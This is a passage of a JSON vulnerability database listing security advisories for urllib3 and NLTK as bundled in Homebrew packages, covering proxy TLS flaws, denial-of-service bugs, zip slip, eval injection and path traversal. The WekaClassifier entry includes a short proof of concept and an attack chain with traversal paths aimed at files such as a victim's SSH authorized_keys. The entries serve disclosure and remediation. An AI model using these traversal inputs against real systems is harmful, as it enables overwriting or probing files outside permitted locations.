intercept the connection to an HTTPS proxy may be able to impersonate the proxy when the effective proxy TLS configuration disables certificate verification or otherwise accepts the attacker's certificate. This may occur, for example, when the target server's trust or identity policy is incorrectly applied to the proxy connection.\n\nWhen HTTPS forwarding is enabled, an impersonated proxy can observe or modify forwarded requests and responses, potentially exposing credentials, authentication tokens, request bodies, response data, and other sensitive information.\n\nA TLS client certificate intended for the target server may also be presented to the proxy or to an attacker impersonating it. This can disclose the client's identity and provide proof of possession of the corresponding private key. The private key itself is not transmitted during the TLS handshake.\n\nIn CONNECT tunneling mode, impersonating the HTTPS proxy does not by itself defeat the separate end-to-end TLS connection between the client and the target server.\n\n## Affected Usages\n\nCode using urllib3 versions 1.26.0 through 2.7.0 may be affected in any of the following cases.\n\n### 1. The target SSL context is used for an HTTPS forwarding proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and `proxy_ssl_context` is configured for the proxy.\n\nurllib3 may ignore `proxy_ssl_context` and use the target server's `ssl_context` for the proxy TLS handshake. The proxy may therefore be verified using the target server's trust and certificate policy instead of the policy explicitly configured for the proxy.\n\n### 2. The target verification policy overrides the proxy policy\n\nAn HTTPS proxy is configured with `proxy_ssl_context`, while the target server uses a different certificate-verification policy.\n\nurllib3 may apply the target server's `cert_reqs` value to the proxy SSL context. For example, setting `cert_reqs=\"CERT_NONE\"` for the target server may also disable certificate verification for the HTTPS proxy, even when `proxy_ssl_context` was configured to require verification.\n\nThis issue can affect the TLS connection to an HTTPS proxy in both forwarding and CONNECT tunneling configurations.\n\n### 3. A mutated proxy SSL context is reused\n\nThe same SSL context is reused as `proxy_ssl_context` across multiple connections, and certificate verification is disabled for one target server.\n\nurllib3 may modify the proxy SSL context's `verify_mode` in place. Later connections that reuse the same context may therefore connect to the HTTPS proxy without certificate verification.\n\n### 4. Target-specific TLS identity or credentials are applied to the proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials are configured.\n\nurllib3 may apply these target-specific settings to the proxy TLS handshake. This may cause urllib3 to:\n\n- send SNI intended for the target server to the proxy;\n- verify the proxy using a hostname or certificate fingerprint intended for the target server; or\n- present a TLS client certificate intended for the target server to the proxy.\n\nCode connecting through a plain HTTP proxy does not establish a TLS connection to the proxy and is not affected by this issue.\n\n## Remediation\n\nUpgrade to urllib3 2.8.0 or later.\n\nurllib3 2.8.0 independently applies the explicitly configured `proxy_ssl_context` and proxy-specific certificate assertions to the HTTPS proxy connection. Target-specific SNI, certificate assertions, and TLS client certificate parameters are no longer applied to the HTTPS proxy handshake.\n\nFor backward compatibility, when an HTTPS proxy is used with `use_forwarding_for_https=True` and `proxy_ssl_context` is not provided, urllib3 2.8.0 continues to use `ssl_context` for the TLS connection to the proxy. This configuration emits a `FutureWarning`. In urllib3 3.0, passing `ssl_context` with `use_forwarding_for_https=True` for an HTTPS proxy will raise an error. Applications should use `proxy_ssl_context` to configure TLS for an HTTPS forwarding proxy.\n\nThe fixes were implemented in commits b6447295fff7b38fdffc67e0df9712d60cef3cc3 and 07408cec79d1856d81bb42c74a904a24fdb9e465.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-8988-9cw3-xx77"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97687"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/pull/5093"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/07408cec79d1856d81bb42c74a904a24fdb9e465"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/b6447295fff7b38fdffc67e0df9712d60cef3cc3"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]},{"schema_version":"1.7.3","id":"BREW-abi3audit-CVE-2026-97688","published":"2026-09-30T20:28:10Z","modified":"2026-10-02T10:17:56Z","upstream":["GHSA-gh4c-6fx4-qh6g","CVE-2026-97688","PYSEC-2026-4176"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abi3audit","purl":"pkg:brew/abi3audit"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.25_1"},{"fixed":"0.0.26_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: Chunked Deflate streaming can enter an infinite loop","details":"### Impact\n\nurllib3's streaming API is designed for the efficient handling of large HTTP responses by reading content in chunks instead of loading the entire response body into memory at once.\n\nurllib3 can decompress response bodies according to the HTTP `Content-Encoding` header. When streaming a compressed, chunked response, urllib3 first consumes data already buffered by the decoder before reading the next HTTP chunk.\n\nHowever, urllib3 versions from 2.6.2 through 2.7.0 could enter an infinite loop when a chunked response contained bytes after the end of the Deflate stream. If the decompressed body exceeded the requested streaming chunk size, Python's zlib implementation could retain the trailing bytes as unconsumed input after reaching the end of the compressed stream. urllib3 would repeatedly attempt to decode those same bytes without making progress or reading more data from the network.\n\nA malicious server could exploit this behavior to cause excessive CPU usage and prevent the affected request from completing on the client. Network read timeouts would not interrupt the loop because no further socket operation was required.\n\n### Affected usages\n\nApplications and libraries using urllib3 versions 2.6.2 through 2.7.0 may be affected when all of the following conditions are met:\n\n1. Compressed responses from an untrusted source are streamed using `HTTPResponse.stream(amt=N)` or `HTTPResponse.read_chunked(amt=N)` with a positive, finite chunk size.\n2. Content decoding is enabled.\n3. The response uses both `Transfer-Encoding: chunked` and `Content-Encoding: deflate`.\n4. The decoded body exceeds the requested chunk size and the encoded body contains bytes after the end of the Deflate stream.\n\n`HTTPResponse.stream()` uses a finite chunk size by default and is therefore affected when the other conditions are met.\n\n### Remediation\n\nUpgrade to urllib3 2.8.0, in which the Deflate decoder stops accepting input after reaching the end of the compressed stream and no longer reports trailing bytes as data that can produce more decoded output.\n\nIf upgrading is not immediately possible, disable automatic content decoding for responses from untrusted sources by setting `decode_content=False`, or reject streamed responses using the Deflate content encoding. Applications that disable automatic decoding must handle the compressed response safely at another layer.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-gh4c-6fx4-qh6g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97688"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/ea2ad7b21a80da3632f80016526a18864586077f"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]},{"schema_version":"1.7.3","id":"BREW-abi3audit-CVE-2026-97689","published":"2026-10-04T12:11:05Z","modified":"2026-10-04T12:11:05Z","upstream":["GHSA-vxq7-64xx-v4gw","CVE-2026-97689","PYSEC-2026-4177"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abi3audit","purl":"pkg:brew/abi3audit"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.8"},{"fixed":"0.0.26_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: HTTPResponse.stream()/read_chunked() buffers an unbounded chunk-size line into memory","details":"## Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for efficiently handling large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When decoding a [chunked-transfer-encoded response](https://httpwg.org/specs/rfc9112.html#chunked.encoding), this API reads each chunk's size field by buffering until it sees `\\n` or EOF.\n\nA malicious HTTP server can return `Transfer-Encoding: chunked` and then send a very long run of bytes without any newline, causing the streaming client to buffer that entire run before urllib3 can reject the chunk size as invalid and allocate more memory than intended.\n\nTo fix the issue, we'll reject chunk-size fields larger than 65536 bytes, as already done in the non-streaming case, which is currently handled by the Python standard library. Note that this only applies to reading the chunk-size field, not the chunk data, which is already handled correctly. Thus, there shouldn't be any impact for non-malicious servers.\n\n## Affected usages\n\nApplications and libraries using urllib3 versions earlier than 2.8.0 may be affected when streaming a chunked response from untrusted sources. Specifically, this affects the [read_chunked()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read_chunked) and [stream()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.stream) methods of the HTTPResponse object.\n\nThis also affects requests streaming API, which uses urllib3 under the hood.\n\n## Remediation\n\nUpgrade to urllib3 version 2.8.0 or later, where chunk-size fields larger than 65536 will be rejected. If upgrading is not immediately possible, consider reading the response at once using the [read()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read) method.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-vxq7-64xx-v4gw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97689"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/cd770b059b543be29298ea5c52afb0b1b090f5ed"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]}],"acronym":[{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2025-14009","published":"2026-08-13T16:34:58Z","modified":"2026-10-29T21:52:04Z","upstream":["GHSA-7p94-766c-hgjp","CVE-2025-14009","PYSEC-2026-96"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK has a Zip Slip Vulnerability","details":"A critical vulnerability exists in the NLTK downloader component of nltk/nltk, affecting all versions. The _unzip_iter function in nltk/downloader.py uses zipfile.extractall() without performing path validation or security checks. This allows attackers to craft malicious zip packages that, when downloaded and extracted by NLTK, can execute arbitrary code. The vulnerability arises because NLTK assumes all downloaded packages are trusted and extracts them without validation. If a malicious package contains Python files, such as __init__.py, these files are executed automatically upon import, leading to remote code execution. This issue can result in full system compromise, including file system access, network access, and potential persistence mechanisms.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-14009"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3468"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/1056b323af6462455571302e766b67cf300aea18"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/blob/4154eb85e832f266660a09286c7e37e308292284/ChangeLog#L1"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-96.yaml"},{"type":"WEB","url":"https://huntr.com/bounties/49ecbc02-054e-4470-b2e0-b267936cc4e4"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2025-71408","published":"2026-08-13T16:34:58Z","modified":"2026-10-29T21:52:04Z","upstream":["GHSA-848c-c2cx-j7qx","CVE-2025-71408","PYSEC-2026-3657"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK vulnerable to Eval Injection via collocations CLI arguments","details":"NLTK (Natural Language Toolkit) before version 3.9.3 contains an eval injection vulnerability in the nltk.collocations module that allows an attacker who controls command-line arguments to execute arbitrary Python code. When collocations.py is invoked directly, the __main__ block passes command-line arguments directly to eval() as suffixes of BigramAssocMeasures without allowlist validation or sanitization, enabling an attacker to supply a Python expression that escapes the intended attribute lookup and executes arbitrary code including OS commands via the os module.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71408"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3465"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/66f14096d952ec8f04934f515e027534bd4eb0ac"},{"type":"WEB","url":"https://aydinnyunus.github.io/2026/06/07/command-injection-nltk-collocations-eval"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/3.9.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3657.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-eval-injection-via-collocations-py-command-line-arguments"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-0846","published":"2026-08-13T16:34:58Z","modified":"2026-10-29T21:52:04Z","upstream":["GHSA-h8wq-7xc4-p3qx","CVE-2026-0846","PYSEC-2026-97"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK has Arbitrary File Read via Absolute Path Input in nltk.util.filestring()","details":"A vulnerability in the `filestring()` function of the `nltk.util` module in nltk version 3.9.2 allows arbitrary file read due to improper validation of input paths. The function directly opens files specified by user input without sanitization, enabling attackers to access sensitive system files by providing absolute paths or traversal paths. This vulnerability can be exploited locally or remotely, particularly in scenarios where the function is used in web APIs or other interfaces that accept user-supplied input.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0846"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3485"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/b2e1164bf89277f79b65406c829b99fb20ca1974"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-97.yaml"},{"type":"WEB","url":"https://huntr.com/bounties/007b84f8-418e-4300-99d0-bf504c2f97eb"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-0847","published":"2026-08-13T16:34:58Z","modified":"2026-11-05T00:49:41Z","upstream":["GHSA-68j8-pq59-fqgm","CVE-2026-0847","PYSEC-2026-98"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK has a Path Traversal issue","details":"A vulnerability in NLTK versions up to and including 3.9.2 allows arbitrary file read via path traversal in multiple CorpusReader classes, including WordListCorpusReader, TaggedCorpusReader, and BracketParseCorpusReader. These classes fail to properly sanitize or validate file paths, enabling attackers to traverse directories and access sensitive files on the server. This issue is particularly critical in scenarios where user-controlled file inputs are processed, such as in machine learning APIs, chatbots, or NLP pipelines. Exploitation of this vulnerability can lead to unauthorized access to sensitive files, including system files, SSH private keys, and API tokens, and may potentially escalate to remote code execution when combined with other vulnerabilities.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0847"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:10184"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19712"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-0847"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2444608"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-98.yaml"},{"type":"WEB","url":"https://huntr.com/bounties/fc69914f-36a9-4c18-8503-10013b39f966"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-0847.json"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-0848","published":"2026-08-13T16:34:58Z","modified":"2026-10-29T21:52:04Z","upstream":["PYSEC-2026-99","CVE-2026-0848"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"details":"NLTK versions <=3.9.2 are vulnerable to arbitrary code execution due to improper input validation in the StanfordSegmenter module. The module dynamically loads external Java .jar files without verification or sandboxing. An attacker can supply or replace the JAR file, enabling the execution of arbitrary Java bytecode at import time. This vulnerability can be exploited through methods such as model poisoning, MITM attacks, or dependency poisoning, leading to remote code execution. The issue arises from the direct execution of the JAR file via subprocess with unvalidated classpath input, allowing malicious classes to execute when loaded by the JVM.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"}],"references":[{"type":"EVIDENCE","url":"https://huntr.com/bounties/08b109bb-ac24-403f-9422-1c246ce60202"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-109956","published":"2026-10-29T21:52:04Z","modified":"2026-10-29T21:52:04Z","upstream":["GHSA-j456-xh4h-cpf2","CVE-2026-109956"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.4","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: WekaClassifier passes an unvalidated caller-controlled model path to the weka JVM, bypassing nltk.pathsec containment","details":"## Summary\n`WekaClassifier` in NLTK passes a caller-controlled model file path to the weka Java VM without any `nltk.pathsec` validation. `WekaClassifier.train` puts the caller's `model_filename` verbatim into the weka argv `[\"-d\", model_filename, ...]` (weka *writes* the trained model there), and `WekaClassifier._classify_many` puts `self._model` into `[\"-l\", self._model, ...]` (weka *reads* it). Under `nltk.pathsec.ENFORCE=True` (the default on current HEAD), NLTK's stated invariant — established by advisory CVE-2026-81726 / GHSA-8mgp-746c-j5xp — is that caller-controlled model-artifact paths must be bounded to the allowed NLTK data roots before any native tool opens them. `WekaClassifier` is the one `java()`-based tool wrapper that skips this entirely, giving an untrusted workflow arbitrary-location file **write** (`-d`) and an arbitrary file **read/parse oracle** (`-l`), defeating pathsec containment.\n\nThis is a standalone, unfixed variant of the same class as CVE-2026-81726, on a code path the CVE-2026-81726 fix never touched. That advisory enumerates 6 functions (`TransitionParser.train`, `TransitionParser.parse`, `AveragedPerceptron.save`, `AveragedPerceptron.load`, `PerceptronTagger.save_to_json`, `save_maxent_params`) — `WekaClassifier` is not among them, and weka.py contains no `validate_tool_path`/`validate_model_resource` at all.\n\n## Root Cause\n`WekaClassifier.train(cls, model_filename, ...)` builds `cmd = [javaclass, \"-d\", model_filename, \"-t\", train_filename]` (nltk/classify/weka.py:256) and `WekaClassifier._classify_many` builds `[..., \"-l\", self._model, \"-T\", <staged>, ...]` (weka.py:131-133); `self._model` is stored unvalidated in `__init__` (weka.py:108-110). Only the internally-generated `train.arff`/`test.arff` are staged via `make_staging_dir`; the model path is passed as-is. `nltk.internals.java()` (internals.py:388-431) validates the classpath (`_verify_jar_sandbox`), the JVM launcher options (`_validate_java_options`, the CVE-2026-12841 fix), the main-class token `cmd[0]`, and rejects `@argfile` tokens in any position — but it explicitly permits program arguments starting with `-` and never inspects the interior of a program-arg path value. So `-d <path>` / `-l <path>` flow unchecked to `subprocess.Popen(final_cmd, shell=False)` and the weka JVM performs an unbounded native open/write on the caller-chosen path.\n\nSibling wrappers prove the intended pattern: `CRFTagger.train`/`set_model_file` call `validate_tool_path` (crf.py:134,300); `MaltParser.generate_malt_command` validates `-i`/`-o` via `validate_tool_path` (malt.py:340,344), its model via `validate_model_resource` (malt.py:326) and `working_dir` via `validate_path` (malt.py:206). weka.py already uses pathsec elsewhere (`validate_path` for WEKAHOME, `pathsec_open` for ARFF writes) but never for the model path.\n\n## Impact\nUnder `pathsec.ENFORCE=True` (default on HEAD), an untrusted workflow that chooses the weka model save/load path obtains:\n- Arbitrary-location file **write** via `-d` — overwrite or create a file at an attacker-chosen absolute or `..`-traversal path outside the allowed NLTK data roots (content constrained to weka's serialized-model format; the target choice is the integrity impact). This corrupts/clobbers arbitrary chosen files.\n- Arbitrary file **read/parse oracle** via `-l` — weka loads an out-of-root path as a model, yielding an existence/parse differential (file content is not echoed back → confidentiality impact is limited).\n\nThis defeats the pathsec containment advisory CVE-2026-81726 promises, at the same privilege level / threat model that advisory was accepted under.\n\n## Proof of Concept\n```python\nimport nltk.pathsec as ps; ps.ENFORCE = True\nfrom nltk.classify.weka import WekaClassifier\n# write-side: model written OUTSIDE any allowed NLTK data root (refused for CRFTagger, allowed here)\nWekaClassifier.train(\"/tmp/outside_sandbox/evil.model\",\n                     [({\"a\": 1}, \"pos\"), ({\"a\": 0}, \"neg\")])\n# read-side: -l opens an arbitrary path\nclf = WekaClassifier(fmt, \"/home/victim/secret.model\")\nclf.classify_many([{\"a\": 1}])\n```\nThe argv construction — the vulnerable step — is confirmed without weka installed (see Bypass Evidence); a configured weka.jar is needed only to observe the JVM's actual file I/O.\n\n## Attack Chain\n1. **Entry.** Action: an app running with `pathsec.ENFORCE=True` lets an untrusted workflow choose the weka model path and calls `WekaClassifier.train(\"../../../home/victim/x\", featuresets)` (write) or `WekaClassifier(fmt, \"/home/victim/secret.model\").classify_many(...)` (read). Guard: none — plain classmethod/constructor parameter (weka.py:230,108-110). Bypass proof: grep shows weka.py uses no `validate_tool_path`/`validate_model_resource`/`validate_tool_dir` (NONE).\n2. **Command build.** Action: the path is placed into `cmd = [javaclass, \"-d\", model_filename, \"-t\", train_filename]` (weka.py:256) / `[\"-l\", self._model, ...]`. Guard: only the internally-generated `train.arff` is staged via `make_staging_dir`; the model path is passed as-is. Bypass proof: runtime capture yielded `['weka.classifiers.bayes.NaiveBayes', '-d', '/tmp/outside_sandbox_weka.model', '-t', '<staged>/train.arff']` — the raw out-of-root path is `cmd[2]`.\n3. **java() sink.** Action: `java(cmd, classpath=_weka_classpath, ...)` → `subprocess.Popen(final_cmd)` (internals.py:431). Guard: `java()` validates classpath, JVM `options`, `cmd[0]`, and rejects `@argfile` tokens. Bypass proof: none of these inspect the `-d`/`-l` program-arg value; internals.py explicitly documents that program args after the main class may start with `-`, and the path is neither `cmd[0]` nor an `@`-token, so every `java()` gate passes. Negative control: the same path through `validate_tool_path(..., for_write=True, must_exist=False)` raises `PermissionError`.\n4. **Impact.** Action: the weka JVM opens the path outside the allowed roots → arbitrary-location write (`-d`) / parse-existence oracle (`-l`). Guard: pathsec is never consulted (no `validate_tool_path`, no `pathsec_open`). Bypass proof: the directly-analogous sibling `CRFTagger.train` calls `validate_tool_path(model_file, must_exist=False)` (crf.py:300); weka does not, and commit `ee6d6138` hardened weka's other sinks (scratch files, WEKAHOME jar) while leaving the model path unvalidated.\n\n## Bypass Evidence\n- Negative control (guard is real): `validate_tool_path(\"/tmp/outside_sandbox_weka.model\", for_write=True, must_exist=False)` → `PermissionError`; `validate_tool_path(\"../../../home/victim/.ssh/authorized_keys\", ...)` → `PermissionError`.\n- Sink reached unvalidated (guard absent): captured write-side argv `['weka.classifiers.bayes.NaiveBayes', '-d', '/tmp/outside_sandbox_weka.model', '-t', '<staged>/train.arff']` and read-side `[..., '-l', '/home/victim/secret.model', '-T', '<staged>/test.arff', '-p', '0']`.\n- Version: `git show v3.10.3:nltk/classify/weka.py` contains both the `-d` model-path build (line 235) and the `-l` read, and NO `validate_tool_path`.\n\n## Affected Versions\n`<= 3.10.3` (present on the latest release tag v3.10.3 and on HEAD `c06cd264`). No published fix has ever targeted the weka `-d`/`-l` model path; commits after v3.10.3 (`ee6d6138`, `92aeada6`, `a9752559`) touched weka.py for other sinks but did not add model-path validation.\n\n## Suggested Fix\nBefore building the `-d`/`-l`/`-T` command, validate the model path with pathsec, mirroring `CRFTagger`/`MaltParser`:\n```python\nvalidate_tool_path(model_filename, context=\"WekaClassifier.train\", for_write=True, must_exist=False)\nvalidate_tool_path(self._model, context=\"WekaClassifier._classify_many\")\n```\n\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use\n\n## Fix status (2026-09-28)\n\nStatus: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).\n\nPR: #3863 \"Bound the WekaClassifier model path to the pathsec data roots\", merged 2026-09-06, merge commit bc2878725 on develop. Fix commit: 6a1760629.\n\nProbe: nltk/test/unit/security_probes/ghsa_j456_xh4h_cpf2.py, added by PR #3905 \"Add GHSA-j456 live probe; expand the GHSA-8mgp probe attack set\" (commit a96715264, merged 2026-09-20, merge commit 84d987bf8); verdict on develop 2fa3f48fe: FIXED (WekaClassifier -l and -d refuse out-of-root model paths).\n\nRelease: none yet; no release tag contains 6a1760629.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-j456-xh4h-cpf2"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3863"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/6a17606293fe9d3ea1006f99dd3fed2e2b25d519"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.4"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-12061","published":"2026-08-13T16:34:58Z","modified":"2026-10-29T21:52:04Z","upstream":["GHSA-fg7f-2386-8897","CVE-2026-12061","PYSEC-2026-3582"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.0","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"h